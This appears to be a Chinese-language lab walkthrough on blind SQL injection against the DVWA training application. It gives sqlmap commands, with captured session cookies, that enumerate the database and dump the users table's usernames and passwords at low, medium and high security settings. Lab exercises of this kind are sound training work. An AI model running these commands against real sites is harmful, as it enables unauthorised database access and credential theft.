SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
工具注入:
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等。
使用bp截取cookie信息
启动sqlmap,在上图中复制URL和cookie,在sqlmap中输入:sqlmap –u ‘复制的URL’ --cookie=’复制的cookie’ 。
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875"
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --current-db
获得当前数据库名:dvwa
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' --tables
获得表名:guestbook表和users表
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' --columns
获得字段名:user,password等
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' -C 'user,password' --dump
获得用户名和密码
使用bp抓包分析,查看到是post方式提交数据。
这里使用的是post方式进行传输,所以需要使用–data参数把提交的数据引入
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --current-db
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' --tables
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' --columns
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/#" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" -D 'dvwa' -T 'users' -C 'user,password' --dump
其中数据提交的页面和查询结果显示的页面是分离成了2个不同的窗口控制的。即在查询提交窗口提交数据后(POST请求),结果的结果在另外一个窗口展示(GET请求)。
使用bp抓包
此时需要利用其非常规的命令联合操作,如:-–second-url=“提交页面的url”(设置二阶响应的结果显示页面的url)
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" --current-db
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' --tables
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' -T 'users' --columns
sudo sqlmap -u "http://192.168.16.136/dv/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="id=1; security=high; PHPSESSID=hvj6i1bmhi491rnl1s960qj875" --second-url="http://192.168.16.136/dv/vulnerabilities/sqli_blind/cookie-input.php#" -D 'dvwa' -T 'users' -C 'user,password' --dump